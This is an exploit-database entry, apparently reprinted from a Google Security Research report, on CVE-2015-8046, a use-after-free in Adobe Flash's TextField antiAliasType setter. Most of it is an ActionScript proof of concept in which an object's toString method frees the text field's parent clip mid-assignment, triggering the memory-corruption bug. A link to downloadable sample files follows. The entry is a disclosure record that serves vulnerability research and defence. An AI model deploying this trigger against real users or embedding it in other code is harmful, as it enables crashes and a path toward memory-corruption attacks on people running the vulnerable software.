Adobe Flash TextField.antiAliasType Setter - Use-After-Free

Author: Google Security Research
type: dos
platform: windows
port: 
date_added: 2015-12-17 
date_updated: 2015-12-17 
verified: 1 
codes: CVE-2015-8046;OSVDB-130015 
tags: 
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Source: https://code.google.com/p/google-security-research/issues/detail?id=560

There is a use-after-free in the TextField antiAliasType setter. If it is set to an object with a toString method that frees the TextField, the property will be written after it is freed.

A PoC is as follows:

var toptf = this.createEmptyMovieClip("toptf", 1);


function func(){

	toptf.removeMovieClip();
	trace("here");
	return "advanced";
}

var o = {toString : func};


var my_format:TextFormat = new TextFormat();
my_format.font = "Times-12";

var my_text1:TextField = toptf.createTextField("my_text1", toptf.getNextHighestDepth(), 9.5, 10, 400, 100);
my_text1.text = "this.gridFitType = none";
my_text1.embedFonts = true;
my_text1.antiAliasType = o;
my_text1.gridFitType = "none";
my_text1.setTextFormat(my_format);

var my_text2:TextField = toptf.createTextField("my_text2", toptf.getNextHighestDepth(), 9.5, 40, 400, 100);
my_text2.text = "this.gridFitType = advanced";
my_text2.embedFonts = true;
my_text2.antiAliasType = "advanced";
my_text2.gridFitType = "pixel";
my_text2.setTextFormat(my_format);

var my_text3:TextField = toptf.createTextField("my_text3", toptf.getNextHighestDepth(), 9.5, 70, 400, 100);
my_text3.text = "this.gridFitType = subpixel";
my_text3.embedFonts = true;
my_text3.antiAliasType = "advanced";
my_text3.gridFitType = "subpixel";
my_text3.setTextFormat(my_format);

A sample fla and swf are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39019.zip